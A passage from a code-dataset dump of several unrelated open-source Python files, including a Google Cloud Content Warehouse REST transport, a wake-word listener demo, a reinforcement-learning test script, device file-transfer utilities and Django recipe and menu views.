v\n for k, v in cls.__REQUIRED_FIELDS_DEFAULT_VALUES.items()\n if k not in message_dict\n }\n\n def __call__(\n self,\n request: document_link_service.DeleteDocumentLinkRequest,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Optional[float] = None,\n metadata: Sequence[Tuple[str, str]] = (),\n ):\n r\"\"\"Call the delete document link method over HTTP.\n\n Args:\n request (~.document_link_service.DeleteDocumentLinkRequest):\n The request object. Request message for\n DocumentLinkService.DeleteDocumentLink.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n \"\"\"\n\n http_options: List[Dict[str, str]] = [\n {\n \"method\": \"post\",\n \"uri\": \"/v1/{name=projects/*/locations/*/documents/*/documentLinks/*}:delete\",\n \"body\": \"*\",\n },\n ]\n request, metadata = self._interceptor.pre_delete_document_link(\n request, metadata\n )\n pb_request = document_link_service.DeleteDocumentLinkRequest.pb(request)\n transcoded_request = path_template.transcode(http_options, pb_request)\n\n # Jsonify the request body\n\n body = json_format.MessageToJson(\n transcoded_request[\"body\"],\n including_default_value_fields=False,\n use_integers_for_enums=True,\n )\n uri = transcoded_request[\"uri\"]\n method = transcoded_request[\"method\"]\n\n # Jsonify the query params\n query_params = json.loads(\n json_format.MessageToJson(\n transcoded_request[\"query_params\"],\n including_default_value_fields=False,\n use_integers_for_enums=True,\n )\n )\n query_params.update(self._get_unset_required_fields(query_params))\n\n query_params[\"$alt\"] = \"json;enum-encoding=int\"\n\n # Send the request\n headers = dict(metadata)\n headers[\"Content-Type\"] = \"application/json\"\n response = getattr(self._session, method)(\n \"{host}{uri}\".format(host=self._host, uri=uri),\n timeout=timeout,\n headers=headers,\n params=rest_helpers.flatten_query_params(query_params, strict=True),\n data=body,\n )\n\n # In case of error, raise the appropriate core_exceptions.GoogleAPICallError exception\n # subclass.\n if response.status_code >= 400:\n raise core_exceptions.from_http_response(response)\n\n class _ListLinkedSources(DocumentLinkServiceRestStub):\n def __hash__(self):\n return hash(\"ListLinkedSources\")\n\n __REQUIRED_FIELDS_DEFAULT_VALUES: Dict[str, Any] = {}\n\n @classmethod\n def _get_unset_required_fields(cls, message_dict):\n return {\n k: v\n for k, v in cls.__REQUIRED_FIELDS_DEFAULT_VALUES.items()\n if k not in message_dict\n }\n\n def __call__(\n self,\n request: document_link_service.ListLinkedSourcesRequest,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Optional[float] = None,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> document_link_service.ListLinkedSourcesResponse:\n r\"\"\"Call the list linked sources method over HTTP.\n\n Args:\n request (~.document_link_service.ListLinkedSourcesRequest):\n The request object. Response message for\n DocumentLinkService.ListLinkedSources.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n ~.document_link_service.ListLinkedSourcesResponse:\n Response message for\n DocumentLinkService.ListLinkedSources.\n\n \"\"\"\n\n http_options: List[Dict[str, str]] = [\n {\n \"method\": \"post\",\n \"uri\": \"/v1/{parent=projects/*/locations/*/documents/*}/linkedSources\",\n \"body\": \"*\",\n },\n ]\n request, metadata = self._interceptor.pre_list_linked_sources(\n request, metadata\n )\n pb_request = document_link_service.ListLinkedSourcesRequest.pb(request)\n transcoded_request = path_template.transcode(http_options, pb_request)\n\n # Jsonify the request body\n\n body = json_format.MessageToJson(\n transcoded_request[\"body\"],\n including_default_value_fields=False,\n use_integers_for_enums=True,\n )\n uri = transcoded_request[\"uri\"]\n method = transcoded_request[\"method\"]\n\n # Jsonify the query params\n query_params = json.loads(\n json_format.MessageToJson(\n transcoded_request[\"query_params\"],\n including_default_value_fields=False,\n use_integers_for_enums=True,\n )\n )\n query_params.update(self._get_unset_required_fields(query_params))\n\n query_params[\"$alt\"] = \"json;enum-encoding=int\"\n\n # Send the request\n headers = dict(metadata)\n headers[\"Content-Type\"] = \"application/json\"\n response = getattr(self._session, method)(\n \"{host}{uri}\".format(host=self._host, uri=uri),\n timeout=timeout,\n headers=headers,\n params=rest_helpers.flatten_query_params(query_params, strict=True),\n data=body,\n )\n\n # In case of error, raise the appropriate core_exceptions.GoogleAPICallError exception\n # subclass.\n if response.status_code >= 400:\n raise core_exceptions.from_http_response(response)\n\n # Return the response\n resp = document_link_service.ListLinkedSourcesResponse()\n pb_resp = document_link_service.ListLinkedSourcesResponse.pb(resp)\n\n json_format.Parse(response.content, pb_resp, ignore_unknown_fields=True)\n resp = self._interceptor.post_list_linked_sources(resp)\n return resp\n\n class _ListLinkedTargets(DocumentLinkServiceRestStub):\n def __hash__(self):\n return hash(\"ListLinkedTargets\")\n\n __REQUIRED_FIELDS_DEFAULT_VALUES: Dict[str, Any] = {}\n\n @classmethod\n def _get_unset_required_fields(cls, message_dict):\n return {\n k: v\n for k, v in cls.__REQUIRED_FIELDS_DEFAULT_VALUES.items()\n if k not in message_dict\n }\n\n def __call__(\n self,\n request: document_link_service.ListLinkedTargetsRequest,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Optional[float] = None,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> document_link_service.ListLinkedTargetsResponse:\n r\"\"\"Call the list linked targets method over HTTP.\n\n Args:\n request (~.document_link_service.ListLinkedTargetsRequest):\n The request object. Request message for\n DocumentLinkService.ListLinkedTargets.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n ~.document_link_service.ListLinkedTargetsResponse:\n Response message for\n DocumentLinkService.ListLinkedTargets.\n\n \"\"\"\n\n http_options: List[Dict[str, str]] = [\n {\n \"method\": \"post\",\n \"uri\": \"/v1/{parent=projects/*/locations/*/documents/*}/linkedTargets\",\n \"body\": \"*\",\n },\n ]\n request, metadata = self._interceptor.pre_list_linked_targets(\n request, metadata\n )\n pb_request = document_link_service.ListLinkedTargetsRequest.pb(request)\n transcoded_request = path_template.transcode(http_options, pb_request)\n\n # Jsonify the request body\n\n body = json_format.MessageToJson(\n transcoded_request[\"body\"],\n including_default_value_fields=False,\n use_integers_for_enums=True,\n )\n uri = transcoded_request[\"uri\"]\n method = transcoded_request[\"method\"]\n\n # Jsonify the query params\n query_params = json.loads(\n json_format.MessageToJson(\n transcoded_request[\"query_params\"],\n including_default_value_fields=False,\n use_integers_for_enums=True,\n )\n )\n query_params.update(self._get_unset_required_fields(query_params))\n\n query_params[\"$alt\"] = \"json;enum-encoding=int\"\n\n # Send the request\n headers = dict(metadata)\n headers[\"Content-Type\"] = \"application/json\"\n response = getattr(self._session, method)(\n \"{host}{uri}\".format(host=self._host, uri=uri),\n timeout=timeout,\n headers=headers,\n params=rest_helpers.flatten_query_params(query_params, strict=True),\n data=body,\n )\n\n # In case of error, raise the appropriate core_exceptions.GoogleAPICallError exception\n # subclass.\n if response.status_code >= 400:\n raise core_exceptions.from_http_response(response)\n\n # Return the response\n resp = document_link_service.ListLinkedTargetsResponse()\n pb_resp = document_link_service.ListLinkedTargetsResponse.pb(resp)\n\n json_format.Parse(response.content, pb_resp, ignore_unknown_fields=True)\n resp = self._interceptor.post_list_linked_targets(resp)\n return resp\n\n @property\n def create_document_link(\n self,\n ) -> Callable[\n [document_link_service.CreateDocumentLinkRequest],\n document_link_service.DocumentLink,\n ]:\n # The return type is fine, but mypy isn't sophisticated enough to determine what's going on here.\n # In C++ this would require a dynamic_cast\n return self._CreateDocumentLink(self._session, self._host, self._interceptor) # type: ignore\n\n @property\n def delete_document_link(\n self,\n ) -> Callable[[document_link_service.DeleteDocumentLinkRequest], empty_pb2.Empty]:\n # The return type is fine, but mypy isn't sophisticated enough to determine what's going on here.\n # In C++ this would require a dynamic_cast\n return self._DeleteDocumentLink(self._session, self._host, self._interceptor) # type: ignore\n\n @property\n def list_linked_sources(\n self,\n ) -> Callable[\n [document_link_service.ListLinkedSourcesRequest],\n document_link_service.ListLinkedSourcesResponse,\n ]:\n # The return type is fine, but mypy isn't sophisticated enough to determine what's going on here.\n # In C++ this would require a dynamic_cast\n return self._ListLinkedSources(self._session, self._host, self._interceptor) # type: ignore\n\n @property\n def list_linked_targets(\n self,\n ) -> Callable[\n [document_link_service.ListLinkedTargetsRequest],\n document_link_service.ListLinkedTargetsResponse,\n ]:\n # The return type is fine, but mypy isn't sophisticated enough to determine what's going on here.\n # In C++ this would require a dynamic_cast\n return self._ListLinkedTargets(self._session, self._host, self._interceptor) # type: ignore\n\n @property\n def get_operation(self):\n return self._GetOperation(self._session, self._host, self._interceptor) # type: ignore\n\n class _GetOperation(DocumentLinkServiceRestStub):\n def __call__(\n self,\n request: operations_pb2.GetOperationRequest,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Optional[float] = None,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> operations_pb2.Operation:\n\n r\"\"\"Call the get operation method over HTTP.\n\n Args:\n request (operations_pb2.GetOperationRequest):\n The request object for GetOperation method.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n operations_pb2.Operation: Response from GetOperation method.\n \"\"\"\n\n http_options: List[Dict[str, str]] = [\n {\n \"method\": \"get\",\n \"uri\": \"/v1/{name=projects/*/locations/*/operations/*}\",\n },\n ]\n\n request, metadata = self._interceptor.pre_get_operation(request, metadata)\n request_kwargs = json_format.MessageToDict(request)\n transcoded_request = path_template.transcode(http_options, **request_kwargs)\n\n uri = transcoded_request[\"uri\"]\n method = transcoded_request[\"method\"]\n\n # Jsonify the query params\n query_params = json.loads(json.dumps(transcoded_request[\"query_params\"]))\n\n # Send the request\n headers = dict(metadata)\n headers[\"Content-Type\"] = \"application/json\"\n\n response = getattr(self._session, method)(\n \"{host}{uri}\".format(host=self._host, uri=uri),\n timeout=timeout,\n headers=headers,\n params=rest_helpers.flatten_query_params(query_params),\n )\n\n # In case of error, raise the appropriate core_exceptions.GoogleAPICallError exception\n # subclass.\n if response.status_code >= 400:\n raise core_exceptions.from_http_response(response)\n\n resp = operations_pb2.Operation()\n resp = json_format.Parse(response.content.decode(\"utf-8\"), resp)\n resp = self._interceptor.post_get_operation(resp)\n return resp\n\n @property\n def kind(self) -> str:\n return \"rest\"\n\n def close(self):\n self._session.close()\n\n\n__all__ = (\"DocumentLinkServiceRestTransport\",)\n","repo_name":"googleapis/google-cloud-python","sub_path":"packages/google-cloud-contentwarehouse/google/cloud/contentwarehouse_v1/services/document_link_service/transports/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":31634,"program_lang":"python","lang":"en","doc_type":"code","stars":4415,"dataset":"github-code","pt":"78"} +{"seq_id":"27374859615","text":"''' \nSuppress error messages from portAudio and pyAudio that slow\ndown the program and spam the print output space\n'''\nfrom ctypes import *\n\n# Define our error handler type\nERROR_HANDLER_FUNC = CFUNCTYPE(None, c_char_p, c_int, c_char_p, c_int, c_char_p)\ndef py_error_handler(filename, line, function, err, fmt):\n pass\nc_error_handler = ERROR_HANDLER_FUNC(py_error_handler)\nasound = cdll.LoadLibrary('libasound.so')\n# Set error handler\nasound.snd_lib_error_set_handler(c_error_handler)\n\n''' \nNow continue with the rest of the program\n'''\nimport time\nimport speech_recognition as sr\nimport speech.SpeechDetector as sd\n\nimport argparse\nimport os\nimport struct\nimport wave\nfrom datetime import datetime\nfrom threading import Thread\n\nimport pvporcupine\nfrom pvrecorder import PvRecorder\n\n\nclass PorcupineDemo(Thread):\n \"\"\"\n Microphone Demo for Porcupine wake word engine. It creates an input audio stream from a microphone, monitors it, and\n upon detecting the specified wake word(s) prints the detection time and wake word on console. It optionally saves\n the recorded audio into a file for further debugging.\n \"\"\"\n\n def __init__(\n self, \n speech_detector, \n access_key,\n library_path,\n model_path,\n keyword_paths,\n sensitivities,\n input_device_index=None,\n output_path=None):\n\n \"\"\"\n Constructor.\n\n :param library_path: Absolute path to Porcupine's dynamic library.\n :param model_path: Absolute path to the file containing model parameters.\n :param keyword_paths: Absolute paths to keyword model files.\n :param sensitivities: Sensitivities for detecting keywords. Each value should be a number within [0, 1]. A\n higher sensitivity results in fewer misses at the cost of increasing the false alarm rate. If not set 0.5 will\n be used.\n :param input_device_index: Optional argument. If provided, audio is recorded from this input device. Otherwise,\n the default audio input device is used.\n :param output_path: If provided recorded audio will be stored in this location at the end of the run.\n \"\"\"\n\n super(PorcupineDemo, self).__init__()\n\n self.speech_detector = speech_detector\n self.r = sr.Recognizer()\n\n self._access_key = access_key\n self._library_path = library_path\n self._model_path = model_path\n self._keyword_paths = keyword_paths\n self._sensitivities = sensitivities\n self._input_device_index = input_device_index\n\n self._output_path = output_path\n\n def run(self):\n \"\"\"\n Creates an input audio stream, instantiates an instance of Porcupine object, and monitors the audio stream for\n occurrences of the wake word(s). It prints the time of detection for each occurrence and the wake word.\n \"\"\"\n\n keywords = list()\n for x in self._keyword_paths:\n keyword_phrase_part = os.path.basename(x).replace('.ppn', '').split('_')\n if len(keyword_phrase_part) > 6:\n keywords.append(' '.join(keyword_phrase_part[0:-6]))\n else:\n keywords.append(keyword_phrase_part[0])\n\n porcupine = None\n recorder = None\n wav_file = None\n try:\n porcupine = pvporcupine.create(\n access_key=self._access_key,\n library_path=self._library_path,\n model_path=self._model_path,\n keyword_paths=self._keyword_paths,\n sensitivities=self._sensitivities)\n\n #sample_rate = porcupine.sample_rate\n #frame_length = porcupine.frame_length\n #byte_depth = 2 # 16 bit audio is 2-byte audio\n\n recorder = PvRecorder(device_index=self._input_device_index, frame_length=porcupine.frame_length)\n recorder.start()\n\n while True:\n pcm = recorder.read()\n\n result = porcupine.process(pcm)\n if result >= 0:\n recorder.stop()\n print('[%s] Detected %s' % (str(datetime.now()), keywords[result]))\n #self.speech_detector.detect_speech(source)\n self.speech_detector.detect_speech()\n recorder.start()\n except pvporcupine.PorcupineInvalidArgumentError as e:\n args = (\n self._access_key,\n self._library_path,\n self._model_path,\n self._keyword_paths,\n self._sensitivities,\n )\n print(\"One or more arguments provided to Porcupine is invalid: \", args)\n print(\"If all other arguments seem valid, ensure that '%s' is a valid AccessKey\" % self._access_key)\n raise e\n except pvporcupine.PorcupineActivationError as e:\n print(\"AccessKey activation error\")\n raise e\n except pvporcupine.PorcupineActivationLimitError as e:\n print(\"AccessKey '%s' has reached it's temporary device limit\" % self._access_key)\n raise e\n except pvporcupine.PorcupineActivationRefusedError as e:\n print(\"AccessKey '%s' refused\" % self._access_key)\n raise e\n except pvporcupine.PorcupineActivationThrottledError as e:\n print(\"AccessKey '%s' has been throttled\" % self._access_key)\n raise e\n except pvporcupine.PorcupineError as e:\n print(\"Failed to initialize Porcupine\")\n raise e\n except KeyboardInterrupt:\n print('Stopping ...')\n finally:\n if porcupine is not None:\n porcupine.delete()\n\n if recorder is not None:\n recorder.delete()\n\n if wav_file is not None:\n wav_file.close()\n\n @classmethod\n def show_audio_devices(cls):\n devices = PvRecorder.get_audio_devices()\n\n for i in range(len(devices)):\n print('index: %d, device name: %s' % (i, devices[i]))\n\n\ndef main():\n ACCESS_KEY = \"\"\n # Running as main paths\n #PATH = \"./Hey-Edward_en_mac_v2_1_0/Hey-Edward_en_mac_v2_1_0.ppn\"\n PATH = \"./Hey-Edward_en_raspberry-pi_v2_1_0/Hey-Edward_en_raspberry-pi_v2_1_0.ppn\"\n\n with open(\"./.env\") as f:\n ACCESS_KEY = f.readline().strip()\n\n speech_detector = sd.SpeechDetector()\n\n PorcupineDemo(\n speech_detector=speech_detector,\n access_key=ACCESS_KEY,\n library_path=pvporcupine.LIBRARY_PATH,\n model_path=pvporcupine.MODEL_PATH,\n keyword_paths=[PATH],\n sensitivities=[0.65],\n input_device_index=-1,\n output_path=None).start()\n\n while True:\n print(\"Running (main thread)\")\n time.sleep(1)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"180D-FW-2022/Team5","sub_path":"speech/hotkey.py","file_name":"hotkey.py","file_ext":"py","file_size_in_byte":6830,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"17241567869","text":"\n\n''' Base file operations for VIPA\n Authors Kamil_P1, Lucjan_B1\n'''\n\n__author__ = \"Kamil Pawlowski, Lucjan Bryndza\"\n__copyright__ = \"(c) 2014 Lucjan Bryndza\"\n__license__ = \"GPL\"\n\n\nfrom testharness import connection\nfrom testharness.tlvparser import TLVParser,tagStorage\nfrom sys import exit\nfrom testharness.syslog import getSyslog\nfrom testharness.utility import check_status_error\nfrom time import strftime\nimport testharness.exceptions as exc\nimport os.path\nimport struct\n\n# Constants\nCHAIN_DISABLED = 0\nCHAIN_AUTODETECT = 1\nCHAIN_FORCED = 2\n\n__CHAIN_FORCED_DATA_SIZE = 1800 # Number of bytes\n__DETECTED_CHAIN_SIZE = 0 # Global, so that we won't detect over and over during one script execution\n\n'''----------------------------------------------------------------- '''\n#Detect the chain size\ndef __detect_chain_size( conn, log, chain ):\n global __DETECTED_CHAIN_SIZE\n global __CHAIN_FORCED_DATA_SIZE\n packetSize = 248 # const\n if chain == CHAIN_FORCED:\n packetSize = __CHAIN_FORCED_DATA_SIZE\n elif chain == CHAIN_AUTODETECT:\n if __DETECTED_CHAIN_SIZE == 0:\n # Detect chain size\n conn.send([0xD0, 0x00, 0x00, 0x00])\n status, buf, uns = conn.receive()\n tlv = TLVParser(buf)\n if (tlv.tagCount((0xDF, 0xA2, 0x1D))):\n packetSize = tlv.getTag((0xDF, 0xA2, 0x1D), TLVParser.CONVERT_INT)[0]\n __DETECTED_CHAIN_SIZE = packetSize\n else:\n log.logerr(\"No packet size (DFA21D tag), assuming chained messages are not supported!\")\n __DETECTED_CHAIN_SIZE = 248\n else:\n packetSize = __DETECTED_CHAIN_SIZE\n return packetSize\n\n'''----------------------------------------------------------------- '''\n''' Put File function - puts local file to the device, file name is passed as argument '''\ndef putfile( conn, log, fn, remote_fn=None, chain=CHAIN_DISABLED, signature=False, progress=None ):\n from struct import pack\n if remote_fn==None: remote_fn = os.path.basename(fn)\n log.log('Uploading file ', fn, ' as ', remote_fn)\n packetSize = __detect_chain_size( conn, log, chain )\n # Go!\n log.log(\"Packet size: \", packetSize)\n P1 = 0x80\n P2 = 0\n d1 = 0\n offset = 0\n\n conn.send([0x00, 0xA4, 0x05, 0x00], remote_fn.upper())\n status, buf, uns = conn.receive()\n if status != 0x9000:\n raise exc.invResponseException( 'Cannot select file ' + fn , status )\n if progress!=None:\n log.loginfo( 'INFO: Binary stream data not included in log' )\n enable_logging = False\n else:\n enable_logging = True\n fileSize = os.path.getsize(fn);\n prevPercent = -1\n with open(fn, 'rb') as f:\n while True:\n readData = f.read(packetSize)\n readSize = len(readData)\n if (readSize == 0): break\n sendData = pack(\"B\", d1)\n sendData += bytearray(readData)\n conn.send([0x00, 0xD6, P1, P2], sendData, log_packet = enable_logging )\n status, buf, uns = conn.receive( log_packet = enable_logging )\n if status != 0x9000:\n raise exc.invResponseException( 'File write error' , status )\n offset += readSize\n d1 = (offset & 0xFF)\n P2 = ((offset & 0xFF00) >> 8) & 0xFF\n P1 = ((offset & 0xFF0000) >> 16) & 0xFF\n P1 |= 0x80\n if hasattr(progress,'__call__'):\n percent = round(offset/fileSize,2)\n if percent != prevPercent: progress( percent )\n prevPercent = percent\n log.log('Download done')\n#File signature not supported\n if signature:\n pass\n\n'''----------------------------------------------------------------- '''\n''' Get File function - gets file from device '''\ndef getfile( conn, log, remote_fn, local_fn=None, progress=None ):\n from struct import pack\n conn.send( [0x00,0xA4,0x04,0x00], remote_fn.upper() )\n status, buf, uns = conn.receive()\n if status != 0x9000:\n raise exc.invResponseException( 'Cannot select file ' + remote_fn , status )\n if progress!=None:\n log.loginfo( 'INFO: Binary stream data not included in log' )\n enable_logging = False\n else:\n enable_logging = True\n tlv = TLVParser(buf)\n fileSize = tlv.getTag(0x80, tlv.CONVERT_INT)[0]\n if fileSize == 0:\n raise exc.logicalException( 'File with name ' + remote_fn + \" doesn't exists\")\n now = strftime( \"%Y%m%d%H%M%S\" )\n if local_fn == None:\n local_fn = remote_fn + '_' + now\n packetLen = 248\n log.log( 'Downloading File', remote_fn, 'Length', fileSize, 'as localfile', local_fn )\n prevPercent = -1\n with open( local_fn, 'wb' ) as f:\n offset = 0\n while offset < fileSize:\n d1 = (offset & 0xFF)\n P2 = ((offset & 0xFF00) >> 8) & 0xFF\n P1 = ((offset & 0xFF0000) >> 16) & 0xFF\n P1 |= 0x80\n sendData = pack(\"B\", d1 )\n conn.send( [ 0x00, 0xB0, P1, P2 ], sendData ,log_packet = enable_logging )\n status, buf, uns = conn.receive_raw( log_packet = enable_logging )\n if status != 0x9000:\n raise exc.invResponseException( 'Error during get file', status )\n offset += len( buf )\n f.write( buf )\n if hasattr(progress,'__call__'):\n percent = round(offset/fileSize,2)\n if percent != prevPercent: progress( percent )\n prevPercent = percent\n log.log('Download done')\n return local_fn\n\n'''----------------------------------------------------------------- '''\n''' UpdateFile function - puts local file to the device, file name is passed as argument '''\ndef updatefile( conn, log, fn, remote_fn=None, signature=False, progress=None ):\n if not os.path.isfile(fn):\n raise exc.logicalException( 'File '+ fn+ ' doesnt exist!' )\n from struct import pack\n if remote_fn==None: remote_fn = os.path.basename(fn)\n log.log('Uploading file ', fn, ' as ', remote_fn)\n fileSize = os.path.getsize(fn);\n size = hex(fileSize)[2:]\n while len(size) < 8: size = '0'+size\n log.log('size ', size)\n\n c_tag = tagStorage()\n c_tag.store( (0x84), remote_fn.lower() )\n c_tag.store( (0x80), bytearray.fromhex(size) )\n conn.send([0x00, 0xA5, 0x05, 0x81], c_tag.getTemplate(0x6F))\n status, buf, uns = conn.receive()\n if status != 0x9000:\n raise exc.invResponseException( 'Cannot upload file '+ fn, status )\n dataCnt = 0;\n prevPercent = -1\n with open(fn, 'rb') as f:\n while True:\n readData = f.read(1024)\n readSize = len(readData)\n if (readSize == 0): break\n dataCnt+= readSize\n sendData = bytearray(readData)\n conn.send_raw(sendData)\n if hasattr(progress,'__call__'):\n percent = round(dataCnt/fileSize,2)\n if percent != prevPercent: progress( percent )\n prevPercent = percent\n\n log.log('Done, waiting for confirmation')\n # We're done, wait for response\n status, buf, uns = conn.receive()\n\n","repo_name":"web-projects/ONLINE_PIN_DECRYPTOR","sub_path":"tools/TCPython/TC_testharness/fileops.py","file_name":"fileops.py","file_ext":"py","file_size_in_byte":7147,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"2807552426","text":"from .models import Product, Category\nfrom django.shortcuts import render, get_object_or_404\nfrom django.shortcuts import render, get_object_or_404\n\nfrom .models import Product, Category\n\n\n# Create your views here.\ndef home_page(request, category_slug=None):\n categories = None\n product = None\n\n if category_slug is not None:\n categories = get_object_or_404(Category, slug=category_slug)\n product = Product.objects.filter(category=categories)\n else:\n product = Product.objects.all().order_by('created_at')\n\n context = {\n 'product': product,\n\n }\n return render(request, \"home/index.html\", context)\n","repo_name":"FiifiQwontwo/Menu","sub_path":"Menu/MenuTaps/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28899788329","text":"from django.urls import path\nfrom rest_framework_simplejwt.views import (\n TokenObtainPairView,\n TokenRefreshView,\n TokenVerifyView\n)\n\nfrom .views import TokenObtainExtraDetailsView, CustomTokenVerifyView\n\nurlpatterns = [\n path('api/token/', TokenObtainExtraDetailsView.as_view(),\n name='token_obtain_pair-extra'),\n path('api/token-simple/', TokenObtainPairView.as_view(),\n name='token_obtain_pair'),\n path('api/token/refresh/', TokenRefreshView.as_view(),\n name='token_refresh'),\n# path('api/token/verify/', TokenVerifyView.as_view(),\n# name='token_verify'),\n path('api/token/verify/', CustomTokenVerifyView.as_view(),\n name='token_verify'),\n\n]\n","repo_name":"JuanCarlosAguilarB/ecommerce-project-backend-django","sub_path":"apps/jwt_custom_auth/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"23142160883","text":"import gym\nimport sys\nimport numpy as np\nimport argparse\nfrom scores.score_logger import ScoreLogger\nfrom scores.score_logger import FS_score\n# from scores.score_logger import Test_Score\n\nfrom scores.score_logger import video\nfrom dqn import DQNSolver\nimport datetime\nimport os\n\nENV_NAME = \"Acrobot-v1\"\nDURATION = 150\n\n\ndef test_acrobot(model_name, num_tests):\n # generate the environment\n env = gym.make(ENV_NAME)\n\n # define the observation and action spaces\n observation_space = env.observation_space.shape[0]\n action_space = env.action_space.n\n\n # Create and Load the DQN Controller Model\n dqn_solver = DQNSolver(observation_space, action_space)\n dqn_solver.load_model(model_name)\n\n # Create the performance analyzer\n test_score_manager = FS_score(dqn_solver.costheta1d,dqn_solver.costheta1dotd, model_name)\n test_score_manager.clear_fs_states()\n\n # Prep the environemnt\n state = env.reset()\n state = np.reshape(state, [1, observation_space])\n\n # Test the Model num_tests of times\n i=0 \n steps = 0\n while(i 300 or state[0][0] < -0.99:\n steps = 0\n # Save the CSV\n test_score_manager.save_csv()\n\n # Add the run to the PNG\n test_score_manager.save_run(i, num_tests)\n test_score_manager.clear_run_data()\n\n # Reset the environment\n state = env.reset()\n state = np.reshape(state, [1, observation_space])\n i = i + 1\n env.close()\n\nif __name__ == \"__main__\":\n directory = './test_scores/BreadthDQN/models 550/'\n names = np.array([])\n slow_d = np.array([])\n for filename in os.listdir(directory):\n # check1 = filename.rfind('X')\n # if (filename[check1 - 3:check1 - 1] == filename[check1 + 1:check1+3]) or (filename[check1 - 2:check1 - 1] == filename[check1 + 1:check1+2]):\n #finding slow dynamic\n if filename.endswith('.h5'):\n names = np.append(names, filename[0:len(filename)-3])\n\n sd_index = filename.rfind('_s') + 2\n print(filename)\n print(filename[sd_index])\n slow_d = np.append(slow_d, int(filename[sd_index]))\n\n\n for i in range(0,len(names)):\n test_acrobot(names[i],100)\n\n","repo_name":"ConnorMich/Fast_Slow_Dynamics_Control","sub_path":"acrobat-master/retest.py","file_name":"retest.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17519896789","text":"from django.db.models import Sum\nfrom django.http import HttpResponse\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom reportlab.lib.pagesizes import A4\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.pdfgen import canvas\nfrom rest_framework import status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\n\nfrom .filters import IngredientFilter, RecipeFilter\nfrom .pagination import UsersApiPagination\nfrom .permissions import OwnerOrAdminOrSafeMethods\nfrom .serializers import (FavoritesSerializer, GetRecipeSerializer,\n IngredientSerializer, RecipePostSerializer,\n ShoppingCartSerializer, TagSerializer)\nfrom recipes.models import (Favorites, Ingredient, Ingredients_Amount,\n Recipe, ShoppingCart, Tag)\n\n\nclass TagViewSet(viewsets.ReadOnlyModelViewSet):\n queryset = Tag.objects.all()\n serializer_class = TagSerializer\n\n\nclass IngredientViewSet(viewsets.ReadOnlyModelViewSet):\n queryset = Ingredient.objects.all()\n serializer_class = IngredientSerializer\n filter_backends = (IngredientFilter,)\n search_fields = ('^name',)\n\n\nclass RecipeViewSet(viewsets.ModelViewSet):\n queryset = Recipe.objects.all().order_by('-id')\n permission_classes = (OwnerOrAdminOrSafeMethods,)\n filterset_class = RecipeFilter\n filter_backends = (DjangoFilterBackend,)\n pagination_class = UsersApiPagination\n\n def get_serializer_class(self):\n if self.request.method == 'GET':\n return GetRecipeSerializer\n return RecipePostSerializer\n\n @staticmethod\n def post_or_delete(request, model, serializer, pk):\n if request.method != 'POST':\n get_object_or_404(\n model,\n user=request.user,\n recipe=get_object_or_404(Recipe, id=pk)\n ).delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n serializer = serializer(\n data={'user': request.user.id, 'recipe': pk},\n context={'request': request}\n )\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n @action(\n detail=True,\n methods=['POST', 'DELETE'],\n permission_classes=(IsAuthenticated,)\n )\n def favorite(self, request, pk):\n return self.post_or_delete(\n request,\n Favorites,\n FavoritesSerializer,\n pk\n )\n\n @action(\n detail=True,\n methods=['POST', 'DELETE'],\n permission_classes=(IsAuthenticated,)\n )\n def shopping_cart(self, request, pk):\n return self.post_or_delete(\n request,\n ShoppingCart,\n ShoppingCartSerializer,\n pk\n )\n\n def canvas_method(self, ingredients):\n \"\"\"\n Метод сохранения списка покупок в формате PDF.\n \"\"\"\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = (\n 'attachment;filename = \"shopping_cart.pdf'\n )\n begin_position_x, begin_position_y = 40, 650\n sheet = canvas.Canvas(response, pagesize=A4)\n pdfmetrics.registerFont(TTFont('FreeSans', 'data/FreeSans.ttf'))\n sheet.setFont('FreeSans', 50)\n sheet.setTitle('Список покупок')\n sheet.drawString(begin_position_x,\n begin_position_y + 40, 'Список покупок: ')\n sheet.setFont('FreeSans', 24)\n for number, item in enumerate(ingredients, start=1):\n if begin_position_y < 100:\n begin_position_y = 700\n 